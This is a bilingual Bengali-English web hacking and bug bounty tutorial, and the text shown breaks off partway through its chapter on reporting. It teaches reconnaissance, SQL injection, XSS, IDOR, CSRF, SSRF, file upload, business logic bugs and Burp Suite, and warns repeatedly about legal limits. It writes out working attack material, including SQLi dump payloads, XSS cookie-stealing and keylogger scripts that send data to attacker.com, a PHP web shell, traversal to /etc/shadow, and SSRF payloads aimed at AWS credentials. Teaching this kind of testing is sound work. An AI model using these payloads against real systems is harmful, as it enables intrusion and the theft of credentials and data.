Web Hacking & Bug Bounty

সম্পূর্ণ গাইড — Zero থেকে Hunter পর্যন্ত

ওয়েব অ্যাপ্লিকেশন কিভাবে কাজ করে সেটা জানো না? কোনো সমস্যা নেই। এই গাইড তোমাকে HTTP থেকে শুরু করে OWASP Top 10, Burp Suite ব্যবহার এবং Bug Bounty Report লেখা পর্যন্ত সব শেখাবে।

⚠️ শুধু Authorized টার্গেটে | 📖 13 Chapters | 🕷️ OWASP Top 10 | 🌙 Dark Mode | BD বাংলা / GB English

terminal

```
$ whoami
ethical_hacker
$ nmap -sV target.com
Starting Nmap scan...
$ sqlmap -u "http://target.com?id=1"
⚠ Only on authorized targets!
```

সূচিপত্র

01 Web Hacking পরিচিতি ও নৈতিকতা Ch. 1

Ethical Hacking কী, আইনি সীমা, Bug Bounty কী

02 HTTP ও ওয়েব কিভাবে কাজ করে Ch. 2

Request, Response, Headers, Cookies, Sessions

03 Tools Setup — Burp Suite, Kali, Recon Ch. 3

Burp Suite, Kali Linux, ffuf, nmap সেটআপ

04 Reconnaissance — তথ্য সংগ্রহ Ch. 4

Passive & Active Recon, subdomain enumeration, Google Dork

05 SQL Injection (SQLi) Ch. 5

Database ভাঙা — সবচেয়ে বিপজ্জনক vulnerability

06 Cross-Site Scripting (XSS) Ch. 6

Reflected, Stored, DOM — JavaScript inject করা

07 Broken Authentication & IDOR Ch. 7

লগইন bypass, IDOR দিয়ে অন্যের ডেটা দেখা

08 CSRF, SSRF ও Clickjacking Ch. 8

ব্যবহারকারীকে ফাঁদে ফেলা — request forgery

09 File Upload ও Path Traversal Ch. 9

Malicious file upload, directory traversal দিয়ে ফাইল পড়া

10 Business Logic Bugs Ch. 10

Scanner ধরতে পারে না এমন বাগ — price manipulation, race condition

11 Burp Suite — Deep Dive Ch. 11

Proxy, Scanner, Intruder, Repeater, Decoder বিস্তারিত

12 Bug Bounty — শুরু থেকে Report পর্যন্ত Ch. 12

HackerOne, Bugcrowd, scope, report লেখা, CVSS score

13 Practice Lab ও Roadmap Ch. 13

DVWA, PortSwigger, TryHackMe, HackTheBox — কোথায় প্র্যাকটিস করবো

CHAPTER 01

⚖️ Web Hacking পরিচিতি ও নৈতিকতা

Ethical Hacking কী, আইনি সীমা, Bug Bounty কী এবং কেন শিখবো

🤔 Hacking মানেই কি খারাপ?

না! Hacking আসলে **দক্ষতার সাথে সিস্টেম বোঝা এবং পরীক্ষা করা**। Hacking তিন ধরনের:

🟢 White Hat

Ethical Hacker। অনুমতি নিয়ে সিস্টেম পরীক্ষা করে এবং বাগ রিপোর্ট করে। **Bug Bounty Hunter = White Hat।**

🟡 Grey Hat

অনুমতি ছাড়া পরীক্ষা করে, কিন্তু ক্ষতি করে না। সিস্টেম মালিককে জানায়। আইনত ঝুঁকিপূর্ণ।

🔴 Black Hat

অনুমতি ছাড়া সিস্টেমে ঢোকে এবং ক্ষতি করে বা চুরি করে। এটা **অপরাধ — জেল হতে পারে।**

⚖️ বাংলাদেশে আইন — ডিজিটাল নিরাপত্তা আইন ২০১৮

অনুমতি ছাড়া কারো সিস্টেমে প্রবেশ করলে **সর্বোচ্চ ১৪ বছরের কারাদণ্ড** এবং কোটি টাকার জরিমানা হতে পারে। সবসময় authorized target-এ practice করো।

💰 Bug Bounty কী?

বড় বড় কোম্পানি (Google, Facebook, Microsoft) তাদের সিস্টেমের দুর্বলতা খুঁজে বের করার জন্য Ethical Hacker-দের **পুরস্কার (Bounty)** দেয়। এটাই Bug Bounty।

💵 কত টাকা পাওয়া যায়?

Severity	Reward
Critical	$5,000 – $100,000+
High	$1,000 – $10,000
Medium	$250 – $1,000
Low	$50 – $500

🏆 জনপ্রিয় Platform

- 🔴 **HackerOne** — hackerone.com
- 🟠 **Bugcrowd** — bugcrowd.com
- 🔵 **Intigriti** — intigriti.com
- 🟢 **Synack** — synack.com
- 🟡 **YesWeHack** — yeswehack.com

📋 Bug Bounty-র নিয়ম

⚠️ এগুলো না মানলে Bounty পাবে না — আইনি সমস্যাও হতে পারে!

- শুধু **in-scope** টার্গেটে কাজ করো
- User data নষ্ট বা চুরি করো না
- বাগ পেলে সাথে সাথে রিপোর্ট করো, exploit করো না
- Production system-এ automated scanner চালিও না
- Publicly disclose করার আগে কোম্পানিকে সময় দাও

📌 Chapter সারসংক্ষেপ

- 🟢 White Hat = Ethical Hacker = আইনি, অনুমতিসহ
- 💰 Bug Bounty = কোম্পানির বাগ খুঁজে পুরস্কার পাওয়া
- ⚖️ সবসময় authorized target-এ কাজ করো

- 🏆 HackerOne, Bugcrowd, Intigriti — শুরু করার জায়গা

CHAPTER 02

🌐 HTTP ও ওয়েব কিভাবে কাজ করে

Request, Response, Headers, Status Codes, Cookies — Hacker-এর দৃষ্টিতে

🔄 ব্রাউজার থেকে সার্ভার — কী হয়?

```
তুমি browser-এ টাইপ করো: https://example.com/login

Browser (Client)          ↔           Server

Step 1: DNS Lookup
  example.com → 93.184.216.34 (IP address)

Step 2: TCP Connection (3-way handshake)
  Client → SYN → Server
  Client ← SYN-ACK ← Server
  Client → ACK → Server

Step 3: TLS Handshake (HTTPS)
  SSL Certificate exchange, encryption setup

Step 4: HTTP Request পাঠানো
  GET /login HTTP/1.1

Step 5: HTTP Response পাওয়া
  200 OK + HTML page

Step 6: Browser HTML render করে
```

📤 HTTP Request — ব্রাউজার কী পাঠায়

```
HTTP REQUEST

POST /login HTTP/1.1

Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Length: 38

username=admin&password=pass1234
```

📥 HTTP Response — সার্ভার কী পাঠায়

```
HTTP RESPONSE

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8
Set-Cookie: session=newtoken456; HttpOnly; Secure
X-Frame-Options: DENY
Server: nginx/1.18.0

<html> <body> স্বাগতম, admin! </body> </html>
```

📊 HTTP Status Codes — সার্ভারের জবাব

Code	অর্থ	Hacker দৃষ্টিতে
200 OK	সফল	পেলাম! তথ্য বিশ্লেষণ করো
301/302	Redirect	নতুন URL-এ যাও
400	Bad Request	ভুল input — payload ঠিক করো

Code	অর্থ	Hacker দৃষ্টিতে
`401`	Unauthorized	Login দরকার
`403`	Forbidden	Access নেই — bypass চেষ্টা করো
`404`	Not Found	পেলাম না — অন্য path চেষ্টা করো
`500`	Server Error	🔥 সার্ভার crash — vulnerability আছে!

🍪 Cookies ও Sessions — পরিচয় মনে রাখা

HTTP stateless — প্রতিটা request আলাদা। তাই Cookie/Session দিয়ে login state মনে রাখা হয়।

🍪 Cookie

- Browser-এ সংরক্ষিত
- প্রতি request-এ পাঠানো হয়
- Hacker চুরি করলে account দখল!
- `HttpOnly` — JS পড়তে পারবে না
- `Secure` — শুধু HTTPS-এ

⚠️ Hacker কী দেখে?

- Cookie-তে predictable value?
- HttpOnly flag নেই? → XSS দিয়ে চুরি!
- Secure flag নেই? → HTTP-তে দেখা যাবে
- Session fixation possible?

🔍 Security Headers — কী থাকা উচিত

Header	কাজ	না থাকলে
`X-Frame-Options`	Iframe থেকে রক্ষা	**Clickjacking**
`Content-Security-Policy`	Script execution নিয়ন্ত্রণ	**XSS সহজ**
`Strict-Transport-Security`	শুধু HTTPS	**MitM Attack**

Header	কাজ	না থাকলে
`X-Content-Type-Options`	MIME sniffing বন্ধ	**MIME attack**

📌 Chapter সারসংক্ষেপ

- 🔄 Browser → DNS → TCP → HTTP Request → Response
- 📤 Request-এ: Method, Path, Headers, Body
- 📊 500 error মানে server crash → vulnerability!
- 🍪 Cookie চুরি = Account Takeover
- 🔒 Security Headers না থাকলে vulnerability

CHAPTER 03

🛠️ Tools Setup

Burp Suite, Kali Linux, Nmap, ffuf — Hacker-এর অস্ত্রভাণ্ডার সাজানো

🎯 কোন Tool কখন ব্যবহার করবো?

Tool	কাজ	কখন
Burp Suite	HTTP traffic intercept, manipulate	সবসময় — সবচেয়ে গুরুত্বপূর্ণ
Nmap	Port scan, service detect	Recon phase-এ
ffuf / gobuster	Directory/file bruteforce	Hidden path খুঁজতে
sqlmap	SQL injection automation	SQLi confirm করতে
nikto	Web server scan	Quick vulnerability check
subfinder / amass	Subdomain enumeration	Scope বাড়াতে
Wappalyzer	Technology detection	Stack জানতে

🦆 Burp Suite Setup

Burp Suite হলো Web Hacking-এর সবচেয়ে গুরুত্বপূর্ণ tool। এটা Browser ও Server-এর মাঝখানে বসে traffic দেখে এবং modify করে।

1. **Download:** portswigger.net/burp — Community Edition ফ্রি

2 **Browser Proxy:** Browser-এ FoxyProxy বা Proxy extension ইনস্টল করো। Burp-এর proxy 127.0.0.1:8080 সেট করো।

3 **SSL Certificate:** http://burpsuite তে গিয়ে Burp-এর CA certificate ডাউনলোড ও install করো।

4 **Intercept:** Proxy → Intercept → On করো। এখন browser-এর request Burp-এ আটকাবে।

```
Browser ↔ Burp Suite Proxy (127.0.0.1:8080) ↔ Server

Burp Suite-এর গুরুত্বপূর্ণ Modules:
Proxy     → Request intercept করো ও modify করো
Repeater  → একই request বারবার পাঠাও (manually)
Intruder  → Automated attack (brute force, fuzzing)
Scanner   → Automatic vulnerability scan (Pro only)
Decoder   → Base64, URL encode/decode
Comparer  → দুটো response তুলনা করো
```

🗺️ Nmap — Port ও Service খোঁজা

```
# Basic scan $ nmap target.com # Service version detect $ nmap -sV target.com # All ports scan $ nmap -p- target.com # OS detect + script scan $ nmap -A target.com # Stealth scan $ nmap -sS target.com
```

```
↓ EXAMPLE OUTPUT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2 80/tcp open http nginx 1.18.0 443/tcp open https nginx 1.18.0 3306/tcp open mysql MySQL 5.7.36
```

📂 ffuf — লুকানো Directory খোঁজা

```
# Directory bruteforce $ ffuf -w /usr/share/wordlists/dirb/common.txt \ -u https://target.com/FUZZ # Extension সহ $ ffuf -w wordlist.txt -u https://target.com/FUZZ \ -e .php,.html,.txt,.bak # Subdomain brute force
```

```
$ ffuf -w subdomains.txt \ -u https://FUZZ.target.com \ -H "Host: FUZZ.target.com"
```

```
↓ EXAMPLE OUTPUT
admin [Status: 200, Size: 4521] backup.php [Status: 200, Size: 892] .git [Status: 403, Size: 150] config.bak [Status: 200, Size: 234]
```

💡 **Wordlist কোথায় পাবো?**

- **SecLists** — github.com/danielmiessler/SecLists (সবচেয়ে ভালো)
- **Kali-তে built-in:** /usr/share/wordlists/
- **rockyou.txt** — password cracking-এর জন্য

📌 Chapter সারসংক্ষেপ

- 🦆 Burp Suite = Web Hacking-এর সবচেয়ে গুরুত্বপূর্ণ tool
- 🗺️ Nmap = কোন port খোলা, কোন service চলছে
- 📂 ffuf = লুকানো directory ও file খোঁজা
- 📚 SecLists = সেরা wordlist collection

CHAPTER 04

🔭 Reconnaissance — তথ্য সংগ্রহ

Attack শুরুর আগে যতটা সম্ভব তথ্য জমানো — Passive ও Active Recon

📡 Passive Recon — কোনো ছোঁয়া না দিয়ে

Passive Recon-এ সরাসরি target-এ কোনো request পাঠাই না। Public source থেকে তথ্য সংগ্রহ করি।

🔍 Google Dorking

Google-এর advanced search operator ব্যবহার করে sensitive তথ্য খোঁজা।

Dork	কী খোঁজে	উদাহরণ
`site:`	নির্দিষ্ট সাইটে খোঁজ	`site:target.com`
`filetype:`	ফাইল ধরন	`site:target.com filetype:pdf`
`inurl:`	URL-এ কিছু আছে	`inurl:admin site:target.com`
`intitle:`	Title-এ কিছু আছে	`intitle:"index of" site:target.com`
`intext:`	Page-এ কিছু আছে	`intext:"sql syntax" site:target.com`
`cache:`	Google-এর cached version	`cache:target.com`

```
# Sensitive file খোঁজার দরকারি dork / Useful dorks for sensitive files
site:target.com filetype:sql # SQL dump site:target.com filetype:env #
.env file (API keys!) site:target.com "index of /" # Directory listing
site:target.com inurl:"/admin" # Admin panel site:target.com
```

```
inurl:"phpinfo.php" # PHP info site:target.com "password" filetype:txt # Password files
```

🌐 Subdomain Enumeration

```
# subfinder দিয়ে $ subfinder -d target.com -o subdomains.txt # amass দিয়ে $ amass enum -d target.com # crt.sh থেকে (certificate transparency) $ curl https://crt.sh/?q=%.target.com&output=json | jq # DNS bruteforce $ ffuf -w subdomains-wordlist.txt \ -u https://FUZZ.target.com
```

🔎 WHOIS ও DNS Information

```
# WHOIS — কার সাইট, কখন নিবন্ধন $ whois target.com # DNS records $ dig target.com ANY $ nslookup target.com $ host target.com # দরকারি DNS record types # A → IP address # MX → Mail server # TXT → SPF, DKIM, verification # CNAME → Alias (subdomain takeover!)
```

🎯 Active Recon — সরাসরি পরীক্ষা

⚠️

Active Recon সরাসরি target-এ request পাঠায়। শুধু authorized target-এ করো।

```
# Web technology detect করা $ whatweb target.com $ wappalyzer # browser extension # HTTP headers দেখা $ curl -I https://target.com # robots.txt দেখা — লুকানো path থাকতে পারে! $ curl https://target.com/robots.txt # sitemap দেখা $ curl https://target.com/sitemap.xml
```

```
↓ robots.txt EXAMPLE — এটা দেখলে attack surface বাড়ে!
User-agent: * Disallow: /admin/ Disallow: /backup/ Disallow: /api/internal/ Disallow: /config/
```

> 💡 **Pro Tip: Wayback Machine**
>
> **web.archive.org** থেকে পুরনো version-এ হয়তো sensitive information আছে, বা এখন remove করা হয়েছে এমন endpoint পাবে।

📌 Chapter সারসংক্ষেপ

- 🔍 Google Dork = Public source থেকে sensitive info
- 🌐 Subdomain enum = বেশি attack surface
- 📄 robots.txt = হয়তো লুকানো path-এর list!
- ⏪ Wayback Machine = পুরনো sensitive content

CHAPTER 05

💉 SQL Injection (SQLi)

Database-কে ধোঁকা দিয়ে unauthorized data বের করা — OWASP Top 1

🤔 SQL Injection কী?

ওয়েব অ্যাপ্লিকেশন যখন user-এর input সরাসরি SQL query-তে ঢুকিয়ে দেয়, তখন attacker ইচ্ছামতো SQL command inject করতে পারে।

🔴 **Vulnerable Code** CRITICAL

```
# ভুল — user input সরাসরি query-তে username = request.get("username")
query = "SELECT * FROM users WHERE username = '" + username + "'" #
username = admin'-- দিলে কী হয়? # Query হয়: SELECT * FROM users
WHERE username = 'admin'--' # -- মানে comment → password check skip!
```

🧪 SQLi Test করার উপায়

```
# Step 1: Single quote দিয়ে test করো https://target.com/item?id=1' # Error
আসলে → SQLi হতে পারে! # "You have an error in your SQL syntax" →
confirmed! # Step 2: Boolean based test https://target.com/item?id=1 AND
1=1 # Normal response https://target.com/item?id=1 AND 1=2 # Different
response → SQLi! # Step 3: Time based (blind) https://target.com/item?
id=1; SLEEP(5)-- # 5 সেকেন্ড দেরি হলে → SQLi confirmed!
```

💣 Common SQLi Payloads

```
-- Login Bypass -- admin'-- admin' # ' OR '1'='1 admin'/* ' OR 1=1-- " OR ""=" -- UNION based (data extraction) -- 1' ORDER BY 3-- # column count বের করা 1' UNION SELECT NULL,NULL,NULL-- 1' UNION SELECT username,password,3 FROM users-- -- Database information -- 1' UNION SELECT @@version,NULL,NULL-- # DB version 1' UNION SELECT database(),NULL,NULL-- # DB name 1' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
```

🤖 SQLMap — Automation

```
# Basic SQLMap $ sqlmap -u "https://target.com/item?id=1" # সব database দেখো $ sqlmap -u "https://target.com/item?id=1" --dbs # নির্দিষ্ট database-এর tables $ sqlmap -u "https://target.com/item?id=1" -D targetdb --tables # নির্দিষ্ট table-এর data $ sqlmap -u "https://target.com/item?id=1" -D targetdb -T users --dump # POST request-এ SQLi $ sqlmap -u "https://target.com/login" \ --data "username=admin&password=test" \ -p username
```

> ⚠️ **শুধু authorized target-এ SQLMap চালাও**
>
> SQLMap automated tool — production server-এ চালালে crash করতে পারে এবং আইনি সমস্যা হতে পারে।

📌 Chapter সারসংক্ষেপ

- 💉 SQLi = user input SQL query-তে inject হলে
- 🧪 Test: single quote `'` দিয়ে শুরু করো
- 🔑 Login bypass: `' OR '1'='1`
- 🤖 SQLMap = automated SQLi testing

- 🔒 Fix: Parameterized queries ব্যবহার করো

CHAPTER 06

🔮 Cross-Site Scripting (XSS)

ওয়েবসাইটে JavaScript inject করে victim-এর browser-এ কোড চালানো

🤔 XSS কী?

XSS হয় যখন ওয়েবসাইট user-এর input sanitize না করে সরাসরি page-এ দেখায়। এতে attacker JavaScript code inject করতে পারে যা অন্য user-এর browser-এ চলে।

🔴 Reflected XSS

URL-এ payload থাকে। ব্যবহারকারী link-এ click করলে তাৎক্ষণিক execute হয়। Server-এ store হয় না।

🟠 Stored XSS

Comment, profile-এ payload store হয়। যে কেউ page দেখলেই execute হয়। সবচেয়ে বিপজ্জনক।

🟣 DOM XSS

Server-এর সাথে কোনো সম্পর্ক নেই। JavaScript নিজেই DOM manipulate করার সময় হয়।

🧪 XSS Testing Payloads

```
-- Basic test -- <script>alert(1)</script> <script>alert('XSS')</script>
<img src=x onerror=alert(1)> -- Filter bypass -- <ScRiPt>alert(1)
</ScRiPt> # case variation <svg onload=alert(1)> # SVG tag <body
onload=alert(1)> javascript:alert(1) # href-এ <img src="x"
onerror="alert(document.cookie)"> -- Cookie steal করার payload --
<script> document.location='https://attacker.com/steal?
c='+document.cookie </script> -- Keylogger payload -- <script>
document.onkeypress = function(e) { fetch('https://attacker.com/log?k=' +
e.key); } </script>
```

🔍 XSS কোথায় খুঁজবো?

- 🔍 Search box — সার্চ করলে input reflect হয়
- 💬 Comment/Review section — stored XSS
- 👤 Profile fields (name, bio) — stored XSS
- ⚠️ Error messages — input reflect করে
- 🔗 URL parameters — reflected XSS
- 📝 Form inputs যেগুলো page-এ দেখায়

🛡️ XSS ঠেকানোর উপায়

- Output encode করো: `<` → `<`
- Content Security Policy (CSP) header দাও
- Cookie-তে HttpOnly flag দাও
- DOMPurify library ব্যবহার করো

📌 Chapter সারসংক্ষেপ

- 🔮 XSS = অন্যের browser-এ JavaScript চালানো
- 🔴 Reflected = URL-এ, Stored = Database-এ, DOM = JavaScript-এ
- 🍪 Cookie steal করে Account Takeover সম্ভব
- 🧪 Basic test: `<script>alert(1)</script>`

CHAPTER 07

🔐 Broken Authentication ও IDOR

Login bypass, অন্যের account দেখা এবং Insecure Direct Object Reference

🔑 Broken Authentication

Authentication যদি দুর্বলভাবে implement করা হয়, তাহলে attacker account দখল করতে পারে।

দুর্বলতা	আক্রমণ	উদাহরণ
Rate limiting নেই	Brute Force	লক্ষ লক্ষ password try
দুর্বল password policy	Credential Stuffing	leaked password list ব্যবহার
Predictable token	Token Prediction	Reset token = timestamp
JWT misconfiguration	Algorithm confusion	`alg: none`
Default credentials	Login	`admin:admin`

Brute Force — Burp Intruder দিয়ে

1. Login request Burp-এ intercept করো
2. Right click → Send to Intruder
3. Password field-এ § চিহ্ন দাও (position mark)
4. Payload → wordlist লোড করো → Attack!

🆔 IDOR — অন্যের Data দেখা

IDOR (Insecure Direct Object Reference) হয় যখন server user-এর permission check না করে শুধু ID দিয়ে data দিয়ে দেয়।

🆔 **IDOR Example** HIGH

```
# তোমার profile URL https://target.com/api/user/1337/profile ^^^^
তোমার user ID # ID 1338 try করলে অন্যের profile দেখা যায়?
https://target.com/api/user/1338/profile # অন্য IDOR targets
https://target.com/invoice?id=1001 # → id=1002?
https://target.com/download?file=user1337.pdf
https://target.com/api/orders/5678
```

```
# Burp Intruder দিয়ে IDOR test # Request: GET /api/user/§1337§/data #
Payload type: Numbers, From 1 to 10000 # Response length compare করো —
আলাদা হলে IDOR! # UUID/GUID-এ IDOR? https://target.com/api/user/550e8400-
e29b-41d4-a716-446655440000 # এগুলো random দেখালেও কখনো predictable হয়
```

💰 IDOR Bug Bounty-তে অনেক পাওয়া যায়!

IDOR সহজে পাওয়া যায় এবং impact বেশি হওয়ায় Bug Bounty-তে $500 থেকে $10,000+ পাওয়া সাধারণ।

📌 Chapter সারসংক্ষেপ

- 🔑 Broken Auth = দুর্বল login → account takeover
- 🔢 Brute Force = Burp Intruder + wordlist
- 🆔 IDOR = ID বদলে অন্যের data দেখা যায়?

- 💰 IDOR = Bug Bounty-তে সহজ এবং ভালো reward

CHAPTER 08

🎭 CSRF, SSRF ও Clickjacking

ব্যবহারকারীকে বা সার্ভারকে ফাঁদে ফেলানো — Request Forgery Attacks

🎭 CSRF — ব্যবহারকারীকে দিয়ে কাজ করানো

CSRF (Cross-Site Request Forgery) হয় যখন attacker victim-কে একটা malicious link-এ click করায় এবং victim-এর browser স্বয়ংক্রিয়ভাবে target site-এ request পাঠায় (victim-এর cookie সহ)।

🎭 CSRF Attack Flow

HIGH

```
Victim ← bank.com-এ logged in

Attacker একটা evil page বানায়:
<img src="https://bank.com/transfer?to=attacker&amount=10000">

Victim evil page দেখে → Browser automatically request পাঠায়
→ bank.com victim-এর cookie দেখে → Transfer হয়ে যায়!

Fix: CSRF Token — random hidden value যা attacker জানে না
```

```
# CSRF test করার পদ্ধতি # 1. Burp-এ sensitive request intercept করো (password change, etc.) # 2. Engagement tools → Generate CSRF PoC # 3. HTML PoC তৈরি হবে: <html> <form action="https://target.com/change-email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"/> <input type="submit" value="Click me!"/>
```

```
</form> <script>document.forms[0].submit()</script> </html> # CSRF Token আছে কিনা দেখো — না থাকলে vulnerable!
```

🖥️ SSRF — সার্ভারকে দিয়ে request করানো

SSRF (Server-Side Request Forgery)-তে attacker server-কে internal network-এ বা cloud metadata-তে request পাঠাতে বাধ্য করে।

```
# SSRF test payload https://target.com/fetch?url=http://127.0.0.1/ https://target.com/fetch?url=http://localhost/admin https://target.com/fetch?url=http://192.168.1.1/ # AWS Cloud Metadata (Cloud SSRF) https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/ https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # এই URL থেকে AWS credentials পাওয়া যেতে পারে! # SSRF bypass techniques http://0x7f000001/ # 127.0.0.1 hex http://2130706433/ # 127.0.0.1 decimal http://127.1/ # shortened
```

👆 Clickjacking

Target site-কে একটা transparent iframe-এ লোড করে victim-কে অজান্তে button-এ click করানো।

```
# Clickjacking test — X-Frame-Options নেই? <style> iframe { opacity: 0.5; position: absolute; top: 0; left: 0; } </style> <iframe src="https://target.com/delete-account" width=800 height=600></iframe> <button style="position:absolute; top:300px; left:400px"> Win a Prize! </button> # X-Frame-Options: DENY থাকলে এটা কাজ করবে না
```

📌 Chapter সারসংক্ষেপ

- 🎭 CSRF = victim-কে দিয়ে অজান্তে action করানো
- 🖥️ SSRF = server-কে দিয়ে internal request করানো

- 👆 Clickjacking = transparent iframe দিয়ে ধোঁকা
- 🔒 Fix: CSRF Token, SameSite Cookie, X-Frame-Options

CHAPTER 09

📂 File Upload ও Path Traversal

Malicious file upload করে RCE পাওয়া এবং directory traversal দিয়ে ফাইল পড়া

📤 File Upload Vulnerabilities

অনেক সাইটে ফাইল upload করার সুবিধা থাকে (profile picture, document)। যদি proper validation না থাকে, তাহলে PHP/ASP shell upload করে Remote Code Execution (RCE) পাওয়া সম্ভব।

```
-- PHP Web Shell -- # shell.php নামে এই file upload করো <?php
system($_GET['cmd']); ?> # Upload হলে access করো:
https://target.com/uploads/shell.php?cmd=whoami
https://target.com/uploads/shell.php?cmd=ls+-la
https://target.com/uploads/shell.php?cmd=cat+/etc/passwd -- Filter bypass
techniques -- shell.php → shell.php.jpg # double extension shell.php →
shell.pHp # case variation shell.php → shell.php5 # alternate extension
shell.php → shell.php%00.jpg # null byte # Content-Type bypass # Burp-এ
intercept করে Content-Type: image/jpeg বানাও # কিন্তু body-তে PHP code রাখো
```

📁 Path Traversal — Directory ভেদ করে ফাইল পড়া

Server যদি user-দেওয়া file path sanitize না করে, তাহলে `../` দিয়ে server-এর যেকোনো ফাইল পড়া সম্ভব।

```
# Basic path traversal https://target.com/file?name=../../../etc/passwd
https://target.com/file?name=../../../etc/shadow https://target.com/file?
name=../../../var/www/html/config.php # Windows path
https://target.com/file?name=..\..\..\windows\system32\drivers\etc\hosts
```

```
-- Bypass techniques -- ../ → ..%2f # URL encode ../ → ....// # double dot
../ → ..%252f # double encode ../ → %2e%2e%2f # full encode
```

```
↓ /etc/passwd এর মতো দেখতে পাবে
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin
```

🔥 **File Upload + Path Traversal = RCE**

File upload vulnerability পেলে web shell upload করো, তারপর path traversal দিয়ে shell-এর সঠিক path বের করো। এটা Critical severity।

📌 Chapter সারসংক্ষেপ

- 📤 File Upload = PHP shell → RCE (Critical)
- 🔀 Bypass: double extension, case variation, null byte
- 📁 Path Traversal = `../` দিয়ে sensitive file পড়া
- 🔒 Fix: whitelist only, rename file, outside webroot-এ store

CHAPTER 10

🧩 Business Logic Bugs

Scanner ধরতে পারে না এমন বাগ — Manual testing-এর আসল শক্তি

🤔 Business Logic Bug কী?

এই ধরনের বাগ application-এর নিজস্ব business rule ভঙ্গ করে। কোনো injection বা technical exploit নেই — শুধু logic-এর দুর্বলতা। এগুলো automated scanner ধরতে পারে না — তাই manual testing দরকার।

💸 Price Manipulation

```
# কেনার সময় Burp-এ request intercept করো # POST /checkout # {"item_id": 123, "quantity": 1, "price": 99.99} # ↑↑↑↑↑ # price বদলে দাও: # {"item_id": 123, "quantity": 1, "price": 0.01} # বা negative price: # {"item_id": 123, "quantity": 1, "price": -99.99} # Quantity manipulation # {"quantity": -1} → refund without purchase?
```

🏃 Race Condition

একই সময়ে একাধিক request পাঠালে server ঠিকমতো handle করতে না পারলে double benefit পাওয়া যায়।

```
# Burp Repeater-এ একই request ১০-২০টা পাঠাও simultaneously # উদাহরণ: একটা coupon একাধিকবার ব্যবহার # উদাহরণ: একটা gift card একাধিকবার redeem # উদাহরণ: একটা free trial একাধিকবার activate # Burp Turbo Intruder দিয়ে race condition test # All requests simultaneously send করো
```

🔄 Password Reset Logic Flaws

```
# Reset token predictable? # Email 1-এর token: abc123_1705312200 # Email 2-এর token: xyz456_1705312201 # ^^^^^^^^^^ # Unix timestamp! Predictable! # Token reuse # Reset করার পরেও পুরনো token কাজ করে? # Host header injection in reset link # POST /forgot-password # Host: attacker.com ← বদলে দাও # Reset link attacker.com-এ যাবে!
```

🎯 Business Logic বাগ খোঁজার টিপস

- সব parameter modify করে দেখো
- Negative number, zero, অনেক বড় সংখ্যা দাও
- Steps skip করা যায়? Step 1 → Step 3?
- অন্য user-এর token নিজের account-এ use হয়?
- Free plan-এ paid feature access হয়?

📌 Chapter সারসংক্ষেপ

- 🧩 Business Logic = logic flaw, scanner ধরতে পারে না
- 💸 Price manipulation = parameter modify করো
- 🏃 Race Condition = simultaneous request
- 🔑 Reset Token = predictable? reusable?

CHAPTER 11

🦆 Burp Suite — Deep Dive

Proxy, Repeater, Intruder, Decoder, Comparer — হাতে-কলমে শেখা

🔄 Proxy — Request দেখা ও পরিবর্তন

```
# Proxy tab-এ যাও → Intercept: ON # Browser-এ request করো # Burp-এ request আটকাবে # এখন তুমি পারবে: # - Parameter বদলানো # - Header যোগ/বাদ দেওয়া # - Body modify করা # - Request drop করা # - Forward করা # HTTP History → সব past request দেখো # Right click → "Send to Repeater" / "Send to Intruder"
```

🔁 Repeater — বারবার request পাঠানো

```
# Repeater-এ request পাঠাও → Send বাটন চাপো # Response দেখো → Parameter বদলাও → আবার Send # কখন ব্যবহার করবো: # - SQLi payload manually test করতে # - IDOR test করতে (id=1, id=2, id=3...) # - XSS payload vary করতে # - Authentication bypass test করতে # Shortcut: Ctrl+R → Repeater-এ পাঠাও # Shortcut: Ctrl+Space → Request পাঠাও
```

🎯 Intruder — Automated Attack

```
# Attack Types: # Sniper → একটা position, একটা wordlist # Battering Ram → সব position, একই payload # Pitchfork → N position, N wordlist (parallel) # Cluster Bomb → সব combination (brute force) # Example: Login Brute Force # POST /login # username=admin&password=§PASS§ # ^----^ # Payload →
```

```
Simple list → rockyou.txt # Start Attack → Response length/status দেখো # আলাদা response = সঠিক password!
```

🔒 Decoder — Encode/Decode করা

```
# Decoder tab → text paste করো # Decode করতে: Input: YWRtaW46cGFzczEyMzQ= Output: admin:pass1234 (Base64 decode) # Encode করতে: Input: <script>alert(1)</script> Output: %3Cscript%3Ealert%281%29%3C%2Fscript%3E (URL encode) # Supported formats: # URL, HTML, Base64, Hex, ASCII, Gzip
```

📊 Comparer — দুটো Response তুলনা

```
# দুটো response compare করো: # Valid user vs invalid user response # Admin vs normal user response # সঠিক password vs ভুল password response # User enumeration example: # username=admin → "Invalid password" (user exists!) # username=xyz → "User not found" (different!) # → User enumeration vulnerability!
```

⌨️ Burp Suite দরকারি Shortcut

Shortcut	কাজ
`Ctrl+I`	Intruder-এ পাঠাও
`Ctrl+R`	Repeater-এ পাঠাও
`Ctrl+U`	URL decode করো
`Ctrl+Shift+U`	URL encode করো
`Ctrl+F`	Response-এ খোঁজো

📌 Chapter সারসংক্ষেপ

- 🔄 Proxy = request intercept ও modify
- 🔁 Repeater = manually test করো বারবার
- 🎯 Intruder = automated attack (brute force, fuzzing)
- 🔓 Decoder = Base64, URL, HTML encode/decode
- 📊 Comparer = দুটো response-এর পার্থক্য খোঁজো

CHAPTER 12

💰 Bug Bounty — শুরু থেকে Report পর্যন্ত

Platform বেছে নেওয়া, Scope বোঝা, Bug খোঁজা এবং Professional Report লেখা

🚀 Bug Bounty শুরু করার ধাপ

1

Platform-এ Account খোলো

HackerOne দিয়ে শুরু করো — সবচেয়ে বড় ও beginner-friendly। Profile সুন্দর করে সাজাও।

2

Program বেছে নাও

নতুন হলে **broad scope** এবং **high response rate** দেখো। Scope ভালো করে পড়ো।

3

Scope বোঝো

In-scope: কোন subdomain, কোন vulnerability। **Out-of-scope:** কোন domain test করা নিষেধ। Scope ভায়োলেশন করলে ban হবে!

4

Test করো ও Report লেখো

